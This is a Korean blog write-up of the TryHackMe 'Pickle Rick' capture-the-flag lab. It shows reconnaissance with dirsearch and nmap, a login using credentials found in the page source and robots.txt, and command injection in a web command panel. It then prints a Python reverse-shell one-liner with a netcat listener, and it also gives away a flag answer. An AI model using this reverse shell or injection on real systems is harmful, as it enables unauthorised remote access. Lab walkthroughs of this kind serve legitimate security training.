TryHackMe | CTF

Tryhackme | Pickle Rick ctf [Tryhackme] [웹해킹] [write-up]

건우Sec 2024. 8. 31. 19:23

TASK 1

먼저 머신 ip 주소로 들어가봤더니 웹사이트 하나가 떳다.

 

소스페이지를 확인해보자

 

 

username : RickRul3s

dirsearch -u [ip] 

 

http://10.10.7.245/login.php/

http://10.10.7.245/assets/

http://10.10.7.245/robots.txt/

 

경로 확인

 

robots.txt 에서 Wubbalubbadubdub라는 문구를 확인하였다.

한번 포트스캐너를 돌려보자

nmap -sV -sC -sT -Pn 10.10.7.245                
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-31 17:51 KST
Nmap scan report for 10.10.7.245
Host is up (0.28s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 36:81:b1:73:32:7c:f9:f5:04:57:33:de:e0:ee:c2:b4 (RSA)
|   256 f4:b7:6f:8a:a9:d1:a5:0b:c4:69:7e:26:4e:51:06:27 (ECDSA)
|_  256 e7:a2:ed:26:46:ca:61:a7:1b:4e:6c:6d:e5:7c:3a:e9 (ED25519)
80/tcp    open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Rick is sup4r cool
|_http-server-header: Apache/2.4.41 (Ubuntu)
15003/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.73 seconds

 

현재 열려있는 포트

 

22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)

80/tcp    open     http    Apache httpd 2.4.41 ((Ubuntu))

 

 

 

로그인경로 login.php 로 들어가 

 

아까 얻었던

id : RickRul3s

password : Wubbalubbadubdub

 

로그인

커맨드 패널이 나오는데 딱봐도 command injection 인것같다

ls 를 적었더니 이와같이 나온다

그러므로 command injection 이 확실하다

 

cat flag.txt 를 치니 

PICKLEEEE RICCCKKKK. 가 출력되였다

 

ls -la 를 쳤더니 이와같이 출력되였다

 

cat Sup3rS3cretPickl3Ingred.txt

아까랑 다를게 없다.

 

그렇다면 리버스 쉘로 해보자

 

이런 리버스쉘 지원하는 웹사이트가 있는데

아래 링크로 들어가 위와 똑같이 해주세요!

Online - Reverse Shell Generator (revshells.com)

 

Online - Reverse Shell Generator

Online Reverse Shell generator with Local Storage functionality, URI & Base64 Encoding, MSFVenom Generator, and Raw Mode. Great for CTFs.

www.revshells.com

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP 주소",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

 

 

sudo nc -lvnp 80

 

그럼 정상적이게 리버스쉘이 작동된다.

mr. meeseek hair 이게 flag 이다